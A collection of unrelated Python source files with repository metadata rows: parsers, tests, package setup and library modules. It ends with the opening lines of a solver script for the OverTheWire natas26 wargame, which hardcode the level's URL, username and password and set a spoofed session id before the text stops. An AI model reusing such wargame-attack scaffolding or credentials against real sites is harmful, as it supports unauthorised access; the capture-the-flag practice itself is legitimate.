return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self.__eq__(other)
@classmethod
def from_text(cls, text):
"""Return a ZoneFile from a string containing the zone file contents"""
# filter out empty lines and strip all leading/trailing whitespace.
# this assumes no multiline records
lines = [x.strip() for x in text.split('\n') if x.strip()]
assert lines[0].startswith('$ORIGIN')
assert lines[1].startswith('$TTL')
return ZoneFile(
origin=lines[0].split(' ')[1],
ttl=int(lines[1].split(' ')[1]),
records=[ZoneFileRecord.from_text(x) for x in lines[2:]],
)
class ZoneFileRecord(object):
def __init__(self, name, type, data):
self.name = str(name)
self.type = str(type)
self.data = str(data)
def __str__(self):
return str(self.__dict__)
def __repr__(self):
return str(self)
def __eq__(self, other):
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self.__eq__(other)
def __hash__(self):
return hash(tuple(sorted(self.__dict__.items())))
@classmethod
def from_text(cls, text):
"""Create a ZoneFileRecord from a line of text of a zone file, like:
mydomain.com. IN NS ns1.example.com.
"""
# assumes records don't have a TTL between the name and the class.
# assumes no parentheses in the record, all on a single line.
parts = [x for x in text.split(' ', 4) if x.strip()]
name, rclass, rtype, data = parts
assert rclass == 'IN'
return cls(name=name, type=rtype, data=data)
| 29.375 | 79 | 0.637911 | 354 | 2,585 | 4.423729 | 0.375706 | 0.038314 | 0.033206 | 0.043423 | 0.212005 | 0.192848 | 0.155811 | 0.155811 | 0.155811 | 0.155811 | 0 | 0.008887 | 0.259961 | 2,585 | 87 | 80 | 29.712644 | 0.809723 | 0.365571 | 0 | 0.454545 | 0 | 0 | 0.011264 | 0 | 0 | 0 | 0 | 0 | 0.068182 | 1 | 0.295455 | false | 0 | 0 | 0.204545 | 0.590909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
b2ad2f6ba80c0b860b88095f733e43696a7ffe64 | 718 | py | Python | turngen/test_mcts.py | amrohendawi/AlphaZero-implementation | 42103e63308ba256208b6dd6ddcbef2e797e9932 | [
"MIT"
] | null | null | null | turngen/test_mcts.py | amrohendawi/AlphaZero-implementation | 42103e63308ba256208b6dd6ddcbef2e797e9932 | [
"MIT"
] | null | null | null | turngen/test_mcts.py | amrohendawi/AlphaZero-implementation | 42103e63308ba256208b6dd6ddcbef2e797e9932 | [
"MIT"
] | null | null | null | import montecarlo as mc
import state as s
import numpy as np
import alphazero.NeuralNet as nn
def main():
monteCarlo = mc.MCTS(2)
nnet = nn.NeuralNet()
board = np.array([ -1, 1, 1, 1, 1, 1, 1,-1,
0, 1, 1, 1, 1, 1, 1, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 4, 4, 4, 4, 4, 4, 0,
-1, 4, 4, 4, 4, 4, 4,-1]).reshape(8, 8)
player = 0
state = s.State(board, player)
turn = monteCarlo.search(state, nnet)
print(turn)
if __name__ == "__main__":
main() | 27.615385 | 63 | 0.4039 | 114 | 718 | 2.473684 | 0.254386 | 0.234043 | 0.340426 | 0.439716 | 0.216312 | 0.216312 | 0.173759 | 0.120567 | 0.120567 | 0.120567 | 0 | 0.170426 | 0.44429 | 718 | 26 | 64 | 27.615385 | 0.536341 | 0 | 0 | 0.190476 | 0 | 0 | 0.011127 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.190476 | 0 | 0.238095 | 0.047619 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a23a8bb5a93657130233a14f9ff1c18abb766e55 | 930 | py | Python | tgpy/context.py | tm-a-t/TGPy | 4509454b9956187a77ffad6ee37c97f861e2e17f | [
"MIT"
] | 14 | 2021-10-29T20:30:33.000Z | 2022-03-29T23:41:41.000Z | tgpy/context.py | tm-a-t/TGPy | 4509454b9956187a77ffad6ee37c97f861e2e17f | [
"MIT"
] | 14 | 2021-10-30T12:34:07.000Z | 2022-02-01T10:56:17.000Z | tgpy/context.py | tm-a-t/TGPy | 4509454b9956187a77ffad6ee37c97f861e2e17f | [
"MIT"
] | 5 | 2021-10-30T19:57:04.000Z | 2022-02-03T17:54:12.000Z | from contextvars import ContextVar
from typing import Optional
from telethon.tl.custom import Message
class Context:
__print_output: ContextVar[str]
__msg: ContextVar[Optional[Message]]
def __init__(self):
self.__msg = ContextVar('msg')
self.__print_output = ContextVar('print_output', default='')
@property
def msg(self):
return self.__msg.get(None)
@msg.setter
def msg(self, msg: Message):
self.__msg.set(msg)
@property
def _print_output(self):
return self.__print_output.get()
def _print(self, *values, sep=' ', end='\n', file=None, flush=True):
if file:
print(*values, sep=sep, end=end, file=file, flush=flush)
else:
output = sep.join(str(val) for val in values) + end
self.__print_output.set(self.__print_output.get() + output)
def __str__(self):
return f'<Context(msg)>'
| 25.833333 | 72 | 0.633333 | 118 | 930 | 4.694915 | 0.338983 | 0.138989 | 0.108303 | 0.064982 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.245161 | 930 | 35 | 73 | 26.571429 | 0.789174 | 0 | 0 | 0.076923 | 0 | 0 | 0.034409 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.115385 | 0.115385 | 0.576923 | 0.269231 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
a24180887d3288e51f9c32edfa0ea69ef1f789fa | 3,435 | py | Python | tests/tensortrade/unit/feed/api/float/test_operations.py | nicomon24/tensortrade | 870ae06a4440045edde4f5306e64264bd33d5b67 | [
"Apache-2.0"
] | 3,081 | 2020-01-12T13:42:13.000Z | 2022-03-27T18:09:31.000Z | tests/tensortrade/unit/feed/api/float/test_operations.py | nicomon24/tensortrade | 870ae06a4440045edde4f5306e64264bd33d5b67 | [
"Apache-2.0"
] | 257 | 2020-01-15T03:14:29.000Z | 2022-03-31T04:19:14.000Z | tests/tensortrade/unit/feed/api/float/test_operations.py | nicomon24/tensortrade | 870ae06a4440045edde4f5306e64264bd33d5b67 | [
"Apache-2.0"
] | 804 | 2020-01-12T12:22:22.000Z | 2022-03-28T13:41:59.000Z |
import pandas as pd
from tensortrade.feed import Stream
from tests.utils.ops import assert_op
def test_add():
# (left, right) : (Stream, Stream)
s1 = Stream.source([3, -4, 6, -7, 2, -6], dtype="float")
s2 = Stream.source([-3, 4, -6, 7, -2, 6], dtype="float")
w1 = s1.add(s2).rename("w1")
w2 = (s1 + s2).rename("w2")
assert_op([w1, w2], 6*[0])
# (left, right) : (Stream, float)
s1 = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
s2 = 1
w1 = s1.add(s2).rename("w1")
w2 = (s1 + s2).rename("w2")
assert_op([w1, w2], [2, 3, 4, 5, 6, 7])
def test_radd():
# (left, right) : (float, Stream)
s1 = 1
s2 = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
w = (s1 + s2).rename("w")
assert_op([w], [2, 3, 4, 5, 6, 7])
def test_sub():
expected = [0, 1, 2, 3, 4, 5]
# (left, right) : (Stream, Stream)
s1 = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
s2 = Stream.source([1, 1, 1, 1, 1, 1], dtype="float")
w1 = s1.sub(s2).rename("w1")
w2 = (s1 - s2).rename("w2")
assert_op([w1, w2], expected)
# (left, right) : (Stream, float)
w1 = s1.sub(1).rename("w1")
w2 = (s1 - 1).rename("w2")
assert_op([w1, w2], expected)
def test_rsub():
# (left, right) : (float, Stream)
s1 = 6
s2 = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
w = (s1 - s2).rename("w")
assert_op([w], [5, 4, 3, 2, 1, 0])
def test_mul():
expected = [2, 4, 6, 8, 10, 12]
# (left, right) : (Stream, Stream)
s1 = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
s2 = Stream.source([2, 2, 2, 2, 2, 2], dtype="float")
w1 = s1.mul(s2).rename("w1")
w2 = (s1 * s2).rename("w2")
assert_op([w1, w2], expected)
# (left, right) : (Stream, float)
w1 = s1.mul(2).rename("w1")
w2 = (s1 * 2).rename("w2")
assert_op([w1, w2], expected)
def test_rmul():
expected = [2, 4, 6, 8, 10, 12]
# (left, right) : (Stream, Stream)
s = Stream.source([1, 2, 3, 4, 5, 6], dtype="float")
# (left, right) : (Stream, float)
w = (2 * s).rename("w")
assert_op([w], expected)
def test_div():
expected = [1, 2, 3, 4, 5, 6]
# (left, right) : (Stream, Stream)
s1 = Stream.source([2, 4, 6, 8, 10, 12], dtype="float")
s2 = Stream.source([2, 2, 2, 2, 2, 2], dtype="float")
w1 = s1.div(s2).rename("w1")
w2 = (s1 / s2).rename("w2")
assert_op([w1, w2], expected)
# (left, right) : (Stream, float)
w1 = s1.div(2).rename("w1")
w2 = (s1 / 2).rename("w2")
assert_op([w1, w2], expected)
def test_rdiv():
expected = [6, 3, 2, 3/2, 6/5, 1]
# (left, right) : (Stream, Stream)
s = Stream.source([2, 4, 6, 8, 10, 12], dtype="float")
# (left, right) : (Stream, float)
w = (12 / s).rename("w")
assert_op([w], expected)
def test_abs():
s = Stream.source([3, -4, 6, -7, 2, -6], dtype="float")
s1 = s.abs().rename("s1")
s2 = abs(s).rename("s2")
assert_op([s1, s2], [3, 4, 6, 7, 2, 6])
def test_neg():
s = Stream.source([3, -4, 6, -7, 2, -6], dtype="float")
s1 = s.neg().rename("s1")
s2 = (-s).rename("s2")
assert_op([s1, s2], [-3, 4, -6, 7, -2, 6])
def test_pow():
array = [1, -2, 3, -4, 5, -6]
s = Stream.source(array, dtype="float")
s1 = s.pow(3).rename("s1")
s2 = (s**3).rename("s2")
expected = list(pd.Series(array)**3)
assert_op([s1, s2], expected)
| 21.46875 | 60 | 0.507715 | 567 | 3,435 | 3.028219 | 0.093474 | 0.019802 | 0.104834 | 0.025626 | 0.780431 | 0.748398 | 0.740245 | 0.675597 | 0.660454 | 0.602796 | 0 | 0.114364 | 0.254148 | 3,435 | 159 | 61 | 21.603774 | 0.555816 | 0.131878 | 0 | 0.283951 | 0 | 0 | 0.043156 | 0 | 0 | 0 | 0 | 0 | 0.197531 | 1 | 0.135802 | false | 0 | 0.037037 | 0 | 0.17284 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a244fdd163c310fb9738239aa521f14a5eff4ed0 | 155 | py | Python | feedback/urls.py | VisheshJain112/dj_app | f7aa286d56ab5726e6cc3a20bcc808a859980ddd | [
"MIT"
] | null | null | null | feedback/urls.py | VisheshJain112/dj_app | f7aa286d56ab5726e6cc3a20bcc808a859980ddd | [
"MIT"
] | null | null | null | feedback/urls.py | VisheshJain112/dj_app | f7aa286d56ab5726e6cc3a20bcc808a859980ddd | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.urls import path
from . import views
urlpatterns = [
path('feedback', views.feedback, name="feedback")
]
| 19.375 | 53 | 0.741935 | 20 | 155 | 5.75 | 0.55 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154839 | 155 | 7 | 54 | 22.142857 | 0.877863 | 0 | 0 | 0 | 0 | 0 | 0.103226 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
a2769dbd91312fbd0094f91a6835e3a41fbeee49 | 1,307 | py | Python | hooks/post_gen_project.py | cokelaer/sequana_pipeline_template | 7d90031b992a146a7cb6fa3ad232606bb1e73cc0 | [
"BSD-3-Clause"
] | null | null | null | hooks/post_gen_project.py | cokelaer/sequana_pipeline_template | 7d90031b992a146a7cb6fa3ad232606bb1e73cc0 | [
"BSD-3-Clause"
] | null | null | null | hooks/post_gen_project.py | cokelaer/sequana_pipeline_template | 7d90031b992a146a7cb6fa3ad232606bb1e73cc0 | [
"BSD-3-Clause"
] | 2 | 2021-07-06T14:38:38.000Z | 2021-07-20T09:23:46.000Z | import re
import sys
# THIS SHOULD REMAINS PURE PYTHON
class Colors:
"""
::
color = Colors()
print(color.failed("msg"))
"""
PURPLE = "\033[95m"
BLUE = "\033[94m"
GREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
def failed(self, msg):
return self.FAIL + msg + self.ENDC
def bold(self, msg):
return self.BOLD + msg + self.ENDC
def purple(self, msg):
return self.PURPLE + msg + self.ENDC
def underlined(self, msg):
return self.UNDERLINE + msg + self.ENDC
def fail(self, msg):
return self.FAIL + msg + self.ENDC
def error(self, msg):
return self.FAIL + msg + self.ENDC
def warning(self, msg):
return self.WARNING + msg + self.ENDC
def green(self, msg):
return self.GREEN + msg + self.ENDC
def blue(self, msg):
return self.BLUE + msg + self.ENDC
colors = Colors()
print(colors.purple("Your pipeline layout is now ready in {{cookiecutter.name}}/ directory"))
print(colors.purple("Thanks for using sequana_start_pipeline / sequana_pipeline_template cookiecutter"))
print(colors.purple("Any suggestions welcome on https://github.com/sequana/sequana project"))
| 21.080645 | 104 | 0.611324 | 172 | 1,307 | 4.622093 | 0.348837 | 0.079245 | 0.14717 | 0.192453 | 0.132075 | 0.132075 | 0.132075 | 0.132075 | 0.132075 | 0 | 0 | 0.038223 | 0.259373 | 1,307 | 61 | 105 | 21.42623 | 0.783058 | 0.06733 | 0 | 0.090909 | 0 | 0 | 0.23406 | 0.057886 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.060606 | 0.272727 | 0.878788 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
a27d0daf6360f6cf549c861fb39e7ae7ba2fc12f | 692 | py | Python | data/test/python/a27d0daf6360f6cf549c861fb39e7ae7ba2fc12f__init__.py | harshp8l/deep-learning-lang-detection | 2a54293181c1c2b1a2b840ddee4d4d80177efb33 | [
"MIT"
] | 84 | 2017-10-25T15:49:21.000Z | 2021-11-28T21:25:54.000Z | data/test/python/a27d0daf6360f6cf549c861fb39e7ae7ba2fc12f__init__.py | vassalos/deep-learning-lang-detection | cbb00b3e81bed3a64553f9c6aa6138b2511e544e | [
"MIT"
] | 5 | 2018-03-29T11:50:46.000Z | 2021-04-26T13:33:18.000Z | data/test/python/a27d0daf6360f6cf549c861fb39e7ae7ba2fc12f__init__.py | vassalos/deep-learning-lang-detection | cbb00b3e81bed3a64553f9c6aa6138b2511e544e | [
"MIT"
] | 24 | 2017-11-22T08:31:00.000Z | 2022-03-27T01:22:31.000Z | __all__ = ["_nsgroup", "association_api", "association_service_api", "codesystem_api",
"codesystem_service_api", "codesystemversion_api", "codesystemversion_service_api", "conceptdomain_api",
"conceptdomain_service_api", "conceptdomainbinding_api", "conceptdomainbinding_service_api",
"core_api", "core_service_api", "entity_api", "entity_service_api", "exceptions_api",
"map_api", "map_service_api", "mapentry_service_api", "mapversion_api",
"mapversion_service_api", "statement_api", "statement_service_api", "updates_api", "valueset_api",
"valueset_service_api", "valuesetdefinition_api", "valuesetdefinition_service_api"]
| 86.5 | 115 | 0.736994 | 69 | 692 | 6.73913 | 0.275362 | 0.27957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.138728 | 692 | 7 | 116 | 98.857143 | 0.780201 | 0 | 0 | 0 | 0 | 0 | 0.726879 | 0.391619 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a287cb7cd1f1568b81369480e21e2cafa0bad4b3 | 2,264 | py | Python | core/shape.py | neodyme60/raypy | a898ba46e07ba299fcb1729dca45abdc1e944f83 | [
"MIT"
] | 1 | 2018-05-15T04:00:17.000Z | 2018-05-15T04:00:17.000Z | core/shape.py | neodyme60/raypy | a898ba46e07ba299fcb1729dca45abdc1e944f83 | [
"MIT"
] | null | null | null | core/shape.py | neodyme60/raypy | a898ba46e07ba299fcb1729dca45abdc1e944f83 | [
"MIT"
] | null | null | null | import math
from core.bbox import BoundingBox
from core.differential_geometry import DifferentialGeometry
from core.ray import Ray
from core.transform import Transform
from maths.normal import Normal
from maths.point3d import Point3d
from maths.vector3d import Vector3d
class Shape:
def __init__(self, o2w, w2o):
self.objectToWorld = o2w
self.worldToObject = w2o
def get_can_intersect(self)->bool:
raise Exception("must be implemented")
def get_intersection(self, ray: Ray, dg: DifferentialGeometry)->(bool, float):
return True
def get_is_intersected(self, ray:Ray)->bool:
raise Exception("must be implemented")
def get_object_bound(self)->BoundingBox:
raise Exception("must be implemented")
def get_world_bound(self)->BoundingBox:
return self.objectToWorld*self.get_object_bound()
def get_sample(self, u1:float, u2:float)->(Point3d, Normal):
raise Exception("must be implemented")
def get_refine(self, shapes_list):
raise Exception("must be implemented")
def get_shading_geometry(self, obj2world: Transform, dg: DifferentialGeometry, dgShading: DifferentialGeometry):
dgShading.normal = dg.normal
dgShading.point = dg.point
dgShading.shape = dg.shape
def Area(self):
return 0.0
def Pdf1(self, p: Point3d)->float:
return 1.0 / self.Area()
def Sample1(self, u: (float, float), n: Normal)->Point3d:
return Point3d()
def Pdf2(self, p: Point3d, wi: Vector3d)->float:
# Intersect sample ray with area light geometry
dgLight = DifferentialGeometry()
ray = Ray(p, wi, 1e-3)
ray.depth = -1 # temporary hack to ignore alpha mask
b, thit =self.get_intersection(ray, dgLight)
if not b:
return 0.0
# Convert light sample weight to solid angle measure
pdf = (p - ray.get_at(thit)).get_length_squared() / (math.fabs(Vector3d.dot(dgLight.normal, -wi) * self.Area()))
if math.isinf(pdf):
pdf = 0.0
return pdf
def Sample2(self, p: Point3d, u: (float, float), n: Normal)->Point3d:
return self.Sample1(u, n)
| 32.342857 | 121 | 0.644876 | 284 | 2,264 | 5.052817 | 0.323944 | 0.033449 | 0.062718 | 0.069686 | 0.1777 | 0.1777 | 0.1777 | 0.057143 | 0 | 0 | 0 | 0.021403 | 0.257067 | 2,264 | 69 | 122 | 32.811594 | 0.831748 | 0.058304 | 0 | 0.142857 | 0 | 0 | 0.046161 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.163265 | 0.122449 | 0.632653 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
a28b119c36cdd4c69aa950d7b7c25c1b67811a70 | 1,047 | py | Python | setup.py | shallyan/EmbeddingMachine | dcf4e8bf3f255f6b507f8156159d9c42bb9cdab7 | [
"Apache-2.0"
] | 2 | 2018-07-02T13:20:04.000Z | 2018-07-23T04:16:03.000Z | setup.py | shallyan/EmbeddingMachine | dcf4e8bf3f255f6b507f8156159d9c42bb9cdab7 | [
"Apache-2.0"
] | null | null | null | setup.py | shallyan/EmbeddingMachine | dcf4e8bf3f255f6b507f8156159d9c42bb9cdab7 | [
"Apache-2.0"
] | null | null | null | from setuptools import setup, find_packages
setup(
name="EmbeddingMachine",
version="0.0.1",
author="WSDM@ICT",
author_email="xiaoyanict@foxmail.com",
description=("EmbeddingMachine is a toolkit for text and image embedding"),
license="Apache-2.0",
keywords="embedding models",
url="https://github.com/shallyan/EmbeddingMachine",
packages=find_packages(),
classifiers=[
# How mature is this project? Common values are
"Development Status :: 3 - Alpha",
'Environment :: Console',
'Operating System :: POSIX :: Linux',
'Topic :: Scientific/Engineering :: Artificial Intelligence',
"License :: OSI Approved :: Apache License",
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6'
],
install_requires=[
'keras >= 2.0.5',
'tensorflow >= 1.1.0',
'numpy >= 1.12.1',
'tqdm >= 4.19.4',
]
)
| 31.727273 | 77 | 0.630372 | 118 | 1,047 | 5.559322 | 0.644068 | 0.144817 | 0.190549 | 0.158537 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03528 | 0.2149 | 1,047 | 32 | 78 | 32.71875 | 0.762774 | 0.04298 | 0 | 0 | 0 | 0 | 0.61 | 0.044 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.033333 | 0 | 0.033333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a28daa19bc0fe27336a8d224cb3d7c4b90cb16f5 | 1,505 | py | Python | asreview/models/balance/__init__.py | qubixes/automated-systematic-review | 742811a2d300a0cb5a9bd4d1fbada2be8ee86e71 | [
"MIT"
] | null | null | null | asreview/models/balance/__init__.py | qubixes/automated-systematic-review | 742811a2d300a0cb5a9bd4d1fbada2be8ee86e71 | [
"MIT"
] | null | null | null | asreview/models/balance/__init__.py | qubixes/automated-systematic-review | 742811a2d300a0cb5a9bd4d1fbada2be8ee86e71 | [
"MIT"
] | null | null | null | # Copyright 2019 The ASReview Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from asreview.models.balance.simple import SimpleBalance
from asreview.models.balance.double import DoubleBalance
from asreview.models.balance.triple import TripleBalance
from asreview.models.balance.undersample import UndersampleBalance
from asreview.models.balance.utils import get_balance_model
from asreview.models.balance.utils import get_balance_class
from asreview.models.balance.utils import list_balance_strategies
"""Balance strategies to rebalance and reorder the training data.
There are several balance strategies that rebalance and reorder the
training data. This is sometimes necessary, because the data is often
very imbalanced: there are many more papers that should be excluded than
included (otherwise, automation cannot help much anyway).
There are several balance strategies available. In configuration
files, parameters are found under the section ``[balance_param]``.
"""
| 45.606061 | 74 | 0.811296 | 215 | 1,505 | 5.646512 | 0.553488 | 0.069193 | 0.103789 | 0.144152 | 0.214168 | 0.16145 | 0.075783 | 0.075783 | 0 | 0 | 0 | 0.006135 | 0.133555 | 1,505 | 32 | 75 | 47.03125 | 0.924847 | 0.384718 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
a2b0d2cf6ecae9f934611a7ee00765d66b4db7a5 | 103 | py | Python | app/interfaces/i_scanner.py | heatonk/caldera_pathfinder | d12fde8636af32f02717b1289e55a7ca89f77585 | [
"Apache-2.0"
] | 71 | 2020-10-13T13:36:03.000Z | 2022-03-27T20:35:14.000Z | app/interfaces/i_scanner.py | heatonk/caldera_pathfinder | d12fde8636af32f02717b1289e55a7ca89f77585 | [
"Apache-2.0"
] | 23 | 2020-11-06T16:01:32.000Z | 2022-03-31T19:13:06.000Z | app/interfaces/i_scanner.py | heatonk/caldera_pathfinder | d12fde8636af32f02717b1289e55a7ca89f77585 | [
"Apache-2.0"
] | 19 | 2020-10-19T14:11:40.000Z | 2022-03-08T19:23:03.000Z | import abc
class ScannerInterface(abc.ABC):
@abc.abstractmethod
def scan(self):
pass
| 12.875 | 32 | 0.660194 | 12 | 103 | 5.666667 | 0.75 | 0.176471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.252427 | 103 | 7 | 33 | 14.714286 | 0.883117 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
a2b474d33fa89e19185d6b059022c69eb276bb41 | 794 | py | Python | testing/test_websource/test_wy.py | NeoBert/liudengfeng-cnswd | a9ba636b86de001a75cd51e453a308755b5c1661 | [
"MIT"
] | 7 | 2019-05-23T17:38:16.000Z | 2021-06-26T13:23:01.000Z | testing/test_websource/test_wy.py | NeoBert/liudengfeng-cnswd | a9ba636b86de001a75cd51e453a308755b5c1661 | [
"MIT"
] | 11 | 2019-09-06T12:52:00.000Z | 2020-10-11T06:14:32.000Z | testing/test_websource/test_wy.py | NeoBert/liudengfeng-cnswd | a9ba636b86de001a75cd51e453a308755b5c1661 | [
"MIT"
] | 1 | 2019-07-24T11:56:06.000Z | 2019-07-24T11:56:06.000Z | from cnswd.websource.wy import fetch_history
import pandas as pd
def test_fetch_history_1():
"""测试历史股价"""
df = fetch_history('000001', '1990-01-01', '2019-11-24')
assert df.shape == (7041, 15)
assert df.iat[0, 0] == "'000001"
assert df.index[0] == pd.Timestamp('2019-11-22 00:00:00')
def test_fetch_history_2():
"""测试历史股价(退市股票)"""
df = fetch_history('000033', '1990-01-01', '2019-11-24')
assert df.shape == (5221, 15)
assert df.iat[0, 0] == "'000033"
assert df.index[0] == pd.Timestamp('2017-07-06 00:00:00')
def test_fetch_history_3():
"""测试历史股价"""
df = fetch_history('600000', '1990-01-01', '2019-11-24')
assert df.shape == (4855, 15)
assert df.iat[0, 0] == "'600000"
assert df.index[0] == pd.Timestamp('2019-11-22 00:00:00')
| 29.407407 | 61 | 0.61461 | 129 | 794 | 3.682171 | 0.317829 | 0.151579 | 0.075789 | 0.12 | 0.587368 | 0.587368 | 0.44 | 0.347368 | 0.347368 | 0.164211 | 0 | 0.239631 | 0.180101 | 794 | 26 | 62 | 30.538462 | 0.490015 | 0.032746 | 0 | 0.117647 | 0 | 0 | 0.207447 | 0 | 0 | 0 | 0 | 0 | 0.529412 | 1 | 0.176471 | false | 0 | 0.117647 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a2b5cfa14e181c2043b48ec4cf1ac40844e7496d | 744 | py | Python | overthewire/natas/natas26.py | GambuzX/Cybersecurity_Practice | 58ecc222816a1bda2742da9b2782cef25365692f | [
"MIT"
] | 1 | 2020-03-08T19:17:15.000Z | 2020-03-08T19:17:15.000Z | overthewire/natas/natas26.py | GambuzX/CTF_Practice | 58ecc222816a1bda2742da9b2782cef25365692f | [
"MIT"
] | null | null | null | overthewire/natas/natas26.py | GambuzX/CTF_Practice | 58ecc222816a1bda2742da9b2782cef25365692f | [
"MIT"
] | 1 | 2020-12-17T15:51:02.000Z | 2020-12-17T15:51:02.000Z | import requests
url = "http://natas26.natas.labs.overthewire.org"
user = "natas26"
pwd = "oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"
s = requests.session()
sid = "h4ck3d"
